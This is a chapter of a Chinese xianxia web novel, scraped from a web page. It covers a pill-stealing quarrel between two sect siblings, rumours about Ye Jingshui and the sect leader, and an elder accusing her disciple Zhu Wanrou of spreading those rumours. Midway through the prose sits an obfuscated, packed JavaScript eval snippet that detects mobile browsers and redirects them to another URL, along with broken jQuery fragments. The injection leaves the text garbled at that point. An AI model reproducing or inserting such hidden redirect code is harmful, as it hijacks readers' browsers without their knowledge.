霜天红叶,秋意深浓,闲来无事叶惊水又跑到漳丹峰躲懒。
任一春却一返常态没有赶叶惊水走。他正埋首记录这些时日以来尝试过的材料和丹方配比,无暇与叶惊水这个经常不请自来的师姐拌嘴。
叶惊水这回特意带了一壶热酒来漳丹峰,便不算空手而来。
不过这酒最后还都是落进她的肚里就对了:“师弟,你终日埋首研究,研究出什么端倪来了?”
任一春正全神贯注地握笔记录,生怕一个不留神写漏或写错了,根本不想搭理叶惊水。
托他管杀不管埋的福,他和丁巧薇的兜里比脸还干净。师徒二人的月钱加起来都不够用,丁巧薇不得不跑下山去接任务赚钱。
叶惊水觉得自斟自饮甚为无趣,便放下酒盏稳步书架,在架上左右巡睃:“师弟,你之前收藏的帛书放哪里了?里面有没有与临渊秘境相关的记载?”
任一春仍旧不搭理她。等详细记录完最后一次的炼丹明细,他才惊觉叶惊水已经默声许久。
她如此安静实在过于诡异。任一春心如撞钟,有股不好的预感,即刻抬首去寻叶惊水。
却见叶惊水正将摆于架上的药丹一瓶接一瓶地往储物袋里装。迅速之快,内心之贪实在叫人叹为观止。
“叶惊水!!”
被任一春猛地一吼,叶惊水登时定在原地,吓得魂都飞了。过了许久,才僵着一张笑脸转身瞧他:“师弟,你忙完啦?”
任一春气得面色涨红,浑身颤抖。他指着叶惊水骂道:“你给我放下!你!你!你这贼子!”
见他气得语无伦次,叶惊水讪讪地把瓷瓶放回原处,几步小跑至任一春身边可怜兮兮道:“师弟,师姐要去陇川那等险恶之地,你亦不想师姐受伤对不对?这些丹药就当赠与师姐,师姐方能有备无患。”
任一春斜眼睨她,对她这副可怜兮兮的模样可谓见怪不怪了:“想都别想,还来。”
“师弟——”
“哼,还来。”
叶惊水见任一春不为所动,厚着面皮转移了话题:“你还未告诉我有无看过关于临渊秘境的记载。”
任一春的目光紧锁在叶惊水的储物袋上:“没有。”
叶惊水很机警地把储物袋收进袖里:“真的没有?”
进了叶惊水的储物袋,就不可能再让她掏出来。任一春虽然生气,却也无计可施,拿她毫无办法。
“哼,看在你要远行的面上,这次便宜你了。下次可别想轻易蒙混过关。”
叶惊水高兴地奉承道:“师弟最好了。”
“你嘴里最好的人可多得很。”她这些话任一春也已听得耳朵长茧:“临渊秘境是千年一开的甲等秘境,传闻顺利从秘境出来的人最后都会修为大涨。”
“你方说并无记载,这些又从何而知?”
任一春不想解释:“随你信不信。”
“我听闻里面有宝剑。”
“真假不得而知。你若想知道——”任一春故意止言,不再往下说了。
叶惊水果然忍不住接话:“想知道要如何?”
任一春嗤笑:“不如直接去问圣冥宗宗主。临渊秘境只在陇川出现,又在圣冥宗的地界之上,最清楚情况的只有圣冥宗宗主。”
“师弟,你学坏了。”
“瞧瞧你的样子再来说我。”
不说没关系,反正她也拿到了不少好东西。
叶惊水又自顾自坐回去,正色道:“此去尚不知能否归来,师弟你要好好保重。”
“……从前你面对的危险更多,都不曾想过留遗言,现在倒怕死了。”
“以前不懂惜命,现在懂了。”
闻言,任一春颇为恼怒:“要死就死远点,我可不想瞧见你那副蠢样。”
叶惊水笑:“我可是很疼爱师弟你的,定不会让你瞧见。”
任一春不喜叶惊水这副将要送死,趁机会留遗言的模样,绞尽脑汁地找了个新话题:“可曾听说宗内近来的流言?”
天天呆在漳丹峰炼丹,两耳不闻窗外事的任一春都听说了,叶惊水又怎会没听说?
瞧瞧,她还是有先见之明。跟徒弟扯上什么情爱纠葛之事,闲话就会如影随形。
不收徒弟是曾经的她做过最明智的选择。
可即便如此,她还是被莫名其妙地卷进了这些流言当中,委实不明白哪里出了差池。
且不说她和谢斐岚算不上师徒。就连平日相处也都客客气气,规规矩矩,哪里像苟合了的样子?
不知传出这些流言的人究竟安的什么心。
她自认没得罪过宗内的任何人,不至于被记恨。
莫非被记恨的人是谢斐岚,她只是倒霉地跟着遭殃了不成?
越想越觉得不无可能。谢斐岚身为掌门,时常有不得不为之事,得罪他人也属寻常。
“流言止于智者,我没当一回事。”
“小师姐,你想得太过简单了。”
“你是何意?”
“知晓你与掌门师徒关系的人并不多。”
叶惊水的重点却是:“等等,我与掌门真的不是师徒。我只是曾救过他,教了他一些护身的心法罢了。”
谁能想到谢斐岚竟然因此将她当成师尊?按他那样的理解,教过他如何生存的人皆是他的师尊。
他岂非师尊满天下?
任一春脸上又是愠色弥漫:“事到如今否认有用么?不管你们是不是,流言既起,影响不小。你与掌门最近要小心谨慎,莫要落人话柄。”
“师弟,你真是关心师姐。”
“哼,我只是不想跟着倒霉罢了。”
“兵来将挡,水来土掩。我与掌门之间清清白白,不管散播流言的人有何目的亦无所惧。”
传出这种流言蜚语,最直接的目的就是为了离间。到时宗门内所有人都把流言当了真,自然会逼着谢斐岚和叶惊水给出交待。
倘若他们真有见不得光的关系,便会被视作异类遭到讨伐。倘若没有,也会为了澄清流言而刻意保持距离,分开行动,给人可乘之机。
如果是第二种情况,叶惊水反倒乐见。可若是第一种……
******
祝宛柔拎着一篮药草穿过花海谢尽的紫藤花门廊,迈进屋内:“师尊,我回来了。你让我采摘的药草我都已采来。”
正是日中,屋外天色却阴沉灰暗,似乎想要下雨。孙莠把大开的窗户关上,重新坐回纱帘前的方几上绣药包。
见祝宛柔回来,她对祝宛柔道:“把这些药草放到风匣火熏十个时辰。”
“还有什么需要注意的么,师尊?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17442607|198004||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
孙莠顿了顿,又道:“弄好就过来帮我绣药包。”
“徒儿明白。”
祝宛柔离开没多久就回来了。她乖巧地坐到孙莠身边,熟练地拿起针线开始绣药包。
别看药包是个普普通通的袋子,绣线却是用灵花药草炼制编织而成。不仅本身自带药性,还会根据放在里面的药材发挥出不同功效。
丹药为一家。孙莠与任一春经常互相送药,彼此相助。
相较于修剑道的叶惊水,两人反而更有共同话题。只不过他们的居所相隔甚远,平日又各司其职,很少有见面的机会。
除非能像叶惊水那样每日无所事事,四处闲逛。
想到叶惊水,孙莠又生出几分不安。
“你身体还好么?”孙莠忽然开口问祝宛柔。
祝宛柔乖顺回道:“已经好得差不多,多谢师尊关心。”
孙莠姣好的面容染着散不开的愁云。额间的莲花花钿也因她蹙着眉而褶出残缺的形状。
察觉到孙莠异样,祝宛柔关切询问:“师尊,你怎么了?”
孙莠想起初见祝宛柔时的光景。
那时候的祝宛柔还是个初入宗门的年轻弟子。因长得过于出众而被万众瞩目,也遇到过不少登徒浪子的调戏。
那些人最后自然是被玄眇宗拒之门外了,可祝宛柔也被当成祸端差点赶出玄眇宗。
直到她被测出拥有真灵根,是个修仙极佳的好苗子,众人才开始争抢。
孙莠当时心想,左右都要收徒,不如收一个合眼缘又漂亮的孩子。于是她也跟着其它长老一起向祝宛柔抛出橄榄枝。
祝宛柔最后选择了拜孙莠为师。
问及缘由,祝宛柔告诉孙莠,她不善与男子相处。而孙莠是唯一的女长老,她便选了孙莠。
彼时的谢斐岚还是个默默无闻的外门弟子,孙莠并不知晓她与谢斐岚有何种渊源,亦不知晓她会来玄眇宗修仙,皆因谢斐岚。
孙莠只觉得祝宛柔如此年轻就下定决心抛弃人间所拥有的一切,义无反顾地踏上修仙之路,是个能成大器的弟子。
直到祝宛柔没在内门见过谢斐岚,旁敲侧击地向她打听;直到谢斐岚从演武大会脱颖而出被破格收进内门,孙莠才看出了一些端倪。但她也没有多想,只当谢斐岚是祝宛柔修仙的契机罢了。
而且谢斐岚也确实出色。修为不断见涨,甚至还超越了柳开意。
反观祝宛柔一直处在筑基期,未见提升。
明明是真灵根,进阶速度却不如杂灵根,这十分诡异。
可祝宛柔除了进阶慢,其它事情都做得很好。孙莠没有责骂她的理由,只能时不时提点两句,交由祝宛柔自己参悟,日子也就这样一天天过去了。
一晃神,这个徒弟跟在身边已有两百多年,她却似乎还不太了解她。
“宗内近来传出不少关于掌门和师妹的流言,你知道么?”
祝宛柔露出担忧的面色,柔顺道:“听过。我知事实并非如此,却也阻止不了他们。明明掌门与大师叔会因此难堪,我竟只能袖手旁观。师尊如此相问,是想找出传出这些流言的人么?”
孙莠停下绣针的手,转目望向祝宛柔:“难道传出这些流言的人不是你?”
一瞬之间,祝宛柔手上的药包闻声而落。